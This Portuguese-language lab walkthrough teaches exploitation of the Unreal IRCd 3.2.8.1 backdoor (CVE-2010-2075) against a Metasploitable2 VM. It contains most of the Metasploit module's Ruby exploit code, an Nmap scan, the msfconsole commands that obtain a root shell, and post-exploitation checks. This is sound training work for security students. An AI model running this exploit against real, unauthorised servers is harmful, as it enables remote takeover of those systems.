Introdução
Neste laboratório, aprenderemos como explorar o serviço Unreal IRCd na máquina alvo Metasploitable2, hospedada na plataforma LabEx. Começaremos por entender a vulnerabilidade no serviço Unreal IRCd e, em seguida, realizaremos uma varredura de vulnerabilidade usando o Nmap. Após identificar o serviço vulnerável, utilizaremos o framework Metasploit para explorar a vulnerabilidade e obter um shell remoto na máquina alvo. Finalmente, validaremos nossa exploração bem-sucedida executando comandos no sistema comprometido.
Entender a Vulnerabilidade do Unreal IRCd e Iniciar o Ambiente de Experimento
A versão 3.2.8.1 do Unreal IRCd contém uma vulnerabilidade de backdoor (CVE-2010-2075) que permite que invasores remotos executem código arbitrário no sistema afetado. A vulnerabilidade existe na macro DEBUG3_DOLOG_SYSTEM, que inclui código malicioso externo que pode ser explorado por um invasor.
Informações relevantes:
O módulo Metasploit para explorar esta vulnerabilidade:
Aqui está uma breve visão geral do módulo Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Agora você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.
- Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2
Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.
- Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
- Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
- Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.
Observação: Se você sair acidentalmente do bash atual, o container Kali parará automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.
Realizar a Varredura de Vulnerabilidades
Nesta etapa, realizaremos a varredura de vulnerabilidade na máquina alvo para identificar portas abertas e serviços em execução nessas portas. Usaremos a poderosa ferramenta Nmap (Network Mapper) para este fim.
- Inicie o console Metasploit no container Kali Linux:
cd ~
msfconsole
- Dentro do console Metasploit, use o comando
nmappara escanear a máquina alvo:
nmap -sV -T4 192.168.122.102
A opção -sV habilita a detecção de versão para as portas abertas, e -T4 define a política de tempo para um nível agressivo (1-5, quanto maior, mais rápido).
A saída deve mostrar a porta 6667 aberta executando o serviço unreal ircd.
Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção
Explorar a Vulnerabilidade do Unreal IRCd
Agora que identificamos o serviço Unreal IRCd vulnerável em execução na porta 6667, podemos prosseguir com a exploração usando o framework Metasploit.
- Antes de mais nada, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
- No console Metasploit, procure o módulo
unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
- Carregue o módulo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Defina o host alvo:
set RHOST 192.168.122.102
- Execute o exploit:
exploit
Se o exploit for bem-sucedido, você deverá obter um shell remoto na máquina alvo.
Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção
Validar a Exploração
Para validar que a exploração foi bem-sucedida, podemos executar comandos no shell remoto obtido na etapa anterior.
- Antes de mais nada, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
- Verifique o usuário atual com o comando
whoami:
whoami
- Verifique o nome do host com o comando
hostname:
hostname
- Verifique o endereço IP com o comando
ifconfig:
ifconfig
Se a saída mostrar root como o usuário atual, metasploitable como o nome do host e o endereço IP corresponder à máquina alvo (192.168.122.102), isso confirma que a exploração foi bem-sucedida e você obteve controle completo sobre o sistema alvo.
Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção
Resumo
Neste laboratório, aprendemos sobre a vulnerabilidade do Unreal IRCd e como explorá-la usando o framework Metasploit. Começamos entendendo a vulnerabilidade e seu impacto, em seguida, realizamos uma varredura de vulnerabilidade para identificar o serviço vulnerável. Após encontrar o serviço Unreal IRCd em execução na porta 6667, usamos o módulo Metasploit apropriado para explorar a vulnerabilidade e obter acesso remoto à máquina alvo. Finalmente, validamos nossa exploração bem-sucedida executando comandos no sistema comprometido. Este laboratório forneceu experiência prática em análise de vulnerabilidades, exploração e validação pós-exploração, que são habilidades essenciais para hackers éticos e profissionais de segurança cibernética.



